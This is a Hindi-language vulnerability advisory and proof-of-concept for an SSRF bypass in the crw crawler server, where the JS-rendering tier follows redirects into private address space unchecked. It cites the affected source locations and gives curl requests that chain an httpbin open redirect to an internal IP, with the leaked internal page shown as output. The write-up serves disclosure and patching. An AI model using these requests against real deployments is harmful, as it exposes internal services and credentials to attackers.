
PoC — crw में URL सुरक्षा फ़िल्टर के JS-रेंडरिंग टियर बायपास के माध्यम से SSRF (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5)।
CVE स्थिति: अनुरोधित, असाइनमेंट लंबित। यह निष्कर्ष GHSA-5jp3-339h-vxqw के रूप में प्रकाशित है। CVE असाइनमेंट पर इस रिपॉज़िटरी का नाम बदलकर
CVE-YYYY-NNNNN-crw-PoCकर दिया जाएगा और इस बैनर को CVE लिंक से बदल दिया जाएगा।
| शोधकर्ता | Dostxodjayev Abdullox (@squeeze440) |
| सलाह | GHSA-5jp3-339h-vxqw |
| CVSS 3.1 | 7.5 (उच्च) |
| कमज़ोरी | CWE-918 |
सारांश
crw-server में, SSRF allow/deny-list (crw_core::url_safety) केवल एक बार लागू की जाती है, कॉलर द्वारा दिए गए url के विरुद्ध, अनुरोध को रेंडरर को भेजने से पहले; इसके बाद CDP-संचालित JS-रेंडरिंग टियर (LightPanda — डिफ़ॉल्ट JS रेंडरर — और Chrome) Page.navigate के माध्यम से लक्ष्य पृष्ठ को चलाते हैं और प्रत्येक बाद के रीडायरेक्ट, JS-ट्रिगर किए गए नेविगेशन, और इन-पेज XHR/fetch का पूरी तरह से ब्राउज़र के अपने नेटवर्क स्टैक के भीतर अनुसरण करते हैं, किसी भी बिंदु पर url_safety में कोई और कॉल किए बिना, जिससे एक प्रमाणित (या, डिफ़ॉल्ट no-key डिप्लॉयमेंट पर, अप्रमाणित) कॉलर जो renderJs:true सेट करता है, एक ही बाहरी ओपन रीडायरेक्ट के माध्यम से क्रॉलर को RFC1918/loopback/link-local एड्रेस स्पेस में पिवट कर सकता है और API प्रतिक्रिया बॉडी में आंतरिक सेवा की प्रतिक्रिया को वापस पढ़ सकता है।
उत्पाद
fastCRW / crw — crw-server (REST API, जो इन-प्रोसेस crw-mcp MCP टूल लेयर के माध्यम से भी समान रूप से पहुँच योग्य है, जो उसी crw_server::routes::mcp::call_tool कोड पथ को कॉल करता है)।
परीक्षित संस्करण
कमिट 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, परीक्षण के समय main का टिप), परियोजना के स्वयं के docker-compose.yml --profile heavy के माध्यम से बनाया और चलाया गया।
अनुमानित CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (उच्च)
PR:N: शिप किए गए self-host डिफ़ॉल्ट (config.docker.toml) में कोई [auth]/api_keys अनुभाग नहीं है, जो GHSA-qq8c-fch4-cxq7 में पहले से प्रलेखित "डिज़ाइन से खुला" डिफ़ॉल्ट से मेल खाता है। एक डिप्लॉयमेंट जो वास्तव में API कुंजियाँ कॉन्फ़िगर करता है, इसे PR:L तक डाउनग्रेड कर देता है (कोई भी एकल प्रमाणित टेनेंट अभी भी साझा इंजन को उस आंतरिक नेटवर्क में पिवट कर सकता है जिस पर वह चलता है) — कुंजियाँ जोड़ने से बग कम नहीं होता, केवल पुनः-गेट किया जाता है।I:N/A:N: PoC एक आंतरिक HTTP प्रतिक्रिया (गोपनीयता) के रीड-बैक को प्रदर्शित करता है। आंतरिक लक्ष्य के विरुद्ध कोई लेखन/स्थिति-परिवर्तनकारी क्रिया न तो की गई और न ही दावा किया गया।S:U: प्रकटीकरण पूरी तरह से कमजोर घटक के अपने API प्रतिक्रिया चैनल के माध्यम से मध्यस्थ है।विवरण
मूल कारण: CDP/ब्राउज़र रेंडरर पथ रूट लेयर पर किए गए एक जाँच के बाद कभी भी crw_core::url_safety को कॉल नहीं करता।
crates/crw-server/src/routes/scrape.rs:29-34 (समान रूप से crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25 में) — JS-रेंडर किए गए अनुरोध के लिए पूरे अनुरोध जीवनचक्र में एकमात्र SSRF जाँच: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) कॉलर के शाब्दिक url के विरुद्ध एक बार चलती है, रेंडरर के कभी आह्वान से पहले।crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner का work फ्यूचर Page.navigate को कच्चे url के साथ सीधे CDP एंडपॉइंट पर भेजता है (जो chrome और lightpanda दोनों टियर द्वारा साझा किया जाता है — दोनों इसी फ़ंक्शन के माध्यम से CDP बोलते हैं)। Chrome/LightPanda फिर अपना स्वयं का DNS रिज़ॉल्यूशन करता है और किसी भी सर्वर-साइड रीडायरेक्ट, <meta http-equiv="refresh">, या JS location परिवर्तन का आंतरिक रूप से अनुसरण करता है। cdp.rs में कहीं भी url_safety में कोई कॉल मौजूद नहीं है।crates/crw-renderer/src/blocklist.rs:1-124 — CDP रेंडर के दौरान चलने वाला एकमात्र प्रति-अनुरोध Fetch.requestPaused इंटरसेप्शन लॉजिक (जो cdp.rs में लगभग पंक्तियों 930-1002 के आसपास वायर किया गया है)। यह केवल बैंडविड्थ/शोर कारणों से विज्ञापन/ट्रैकर होस्ट और अवरुद्ध संसाधन प्रकारों (छवियाँ, फ़ॉन्ट, आदि) को फ़िल्टर करता है — यह कभी भी किसी अनुरोध के गंतव्य को निजी/loopback/link-local रेंज के विरुद्ध नहीं जाँचता।crates/crw-crawl/src/single.rs:559-569 — एकमात्र स्थान जहाँ नेविगेशन के बाद के final_url की बिल्कुल भी जाँच की जाती है। redirect_is_material() केवल यह तय करता है कि data.warnings में एक कॉस्मेटिक "redirected_to: <url>" स्ट्रिंग संलग्न करनी है या नहीं (यह इंगित करने के लिए कि "आपको गलत पृष्ठ मिला," northernair.ca का संदर्भ देने वाली टिप्पणी के अनुसार) — यह कभी भी url_safety::validate_safe_url* को कॉल नहीं करता और कभी भी अनुरोध को विफल नहीं करता।crates/crw-renderer/src/http_only.rs:291 — सादा-HTTP (गैर-JS) टियर अपने reqwest::Client को सही ढंग से crw_core::url_safety::safe_redirect_policy() में लपेटता है, जो प्रत्येक रीडायरेक्ट हॉप को (DNS रिज़ॉल्यूशन के साथ) पुनः-सत्यापित करता है। यह ठीक वही सुरक्षा है जो CDP टियर से अनुपस्थित है। गतिशील रूप से पुष्टि की गई: renderJs:false के साथ वही PoC अनुरोध सही ढंग से अस्वीकार किया जाता है ("error following redirect", बेसलाइन स्क्रीनशॉट देखें)।प्रूफ़ ऑफ़ कॉन्सेप्ट
परियोजना के स्वयं के docker-compose.yml --profile heavy स्टैक (crw + lightpanda + chrome, परीक्षित कमिट से बनाया गया) के विरुद्ध गतिशील रूप से पुष्टि की गई।
crw/chrome/lightpanda के समान Docker ब्रिज नेटवर्क (docker network: source_default) पर एक "आंतरिक सेवा" स्टैंड-इन खड़ा किया, निजी पते 172.19.0.6 पर — एक सादा nginx कंटेनर जो यथार्थवादी आंतरिक-दिखने वाली सामग्री वाला पृष्ठ परोसता है (शीर्षक "Internal Ops Console", एक सत्र-टोकन-आकार का मान)।curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
(स्क्रीनशॉट: evidence/ssrf_baseline_blocked.png)curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
परिणाम: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — आंतरिक सर्वर की सामग्री कॉलर को लौटा दी जाती है; टूल की स्वयं की redirected_to चेतावनी दिखाती है कि यह जानता है कि उसने अवरुद्ध पते पर अनुरोध का अनुसरण किया और फिर भी सामग्री लौटाता है। (स्क्रीनशॉट: evidence/ssrf_chrome_tier_bypass.png)"renderJs":true अकेले — जिस सामान्य तरीके से कॉलर JS रेंडरिंग का अनुरोध करता है): लैडर ने lightpanda चुना ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") और वही आंतरिक सामग्री लौटाई, जो सिद्ध करता है कि दोनों CDP टियर (केवल chrome नहीं) इस अंतराल को साझा करते हैं।